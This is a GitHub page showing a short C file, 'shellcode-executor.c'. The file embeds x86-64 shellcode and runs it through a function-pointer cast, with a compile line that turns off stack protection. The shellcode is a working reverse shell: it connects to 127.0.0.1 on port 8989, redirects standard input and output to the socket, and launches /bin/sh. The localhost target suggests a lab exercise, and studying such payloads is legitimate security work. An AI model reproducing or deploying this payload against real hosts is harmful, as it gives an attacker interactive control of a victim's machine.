-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshellcode-executor.c
More file actions
8 lines (8 loc) · 853 Bytes
/
shellcode-executor.c
File metadata and controls
8 lines (8 loc) · 853 Bytes
1
2
3
4
5
6
7
8
// gcc -fno-stack-protector -z execstack -o biaire fichierCode.c
char code[] = "\x48\x31\xc0\x48\x31\xdb\x4d\x31\xc0\x4c\x89\xc1\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\xb0\x28\x04\x01\x40\xb7\x02\x40\xb6\x01\x0f\x05\x49\x89\xc7\x48\x89\xc7\x48\x31\xc0\xb0\x2a\x53\xbe\x90\xbe\xad\xdf\x81\xf6\xef\xbe\xad\xde\x66\x68\x23\x1d\x66\x6a\x02\x4d\x31\xc0\x49\x89\xe0\x4c\x89\xc6\xb2\x18\x0f\x05\x48\x31\xc0\x48\x31\xd2\xb0\x21\x4d\x31\xc0\x4d\x89\xf8\x4c\x89\xc7\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x31\xd2\xb0\x21\x4c\x89\xff\x48\x31\xf6\x40\xb6\x01\x0f\x05\x48\x31\xc0\x48\x31\xd2\xb0\x20\x04\x01\x4c\x89\xff\x48\x31\xf6\x40\xb6\x02\x0f\x05\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}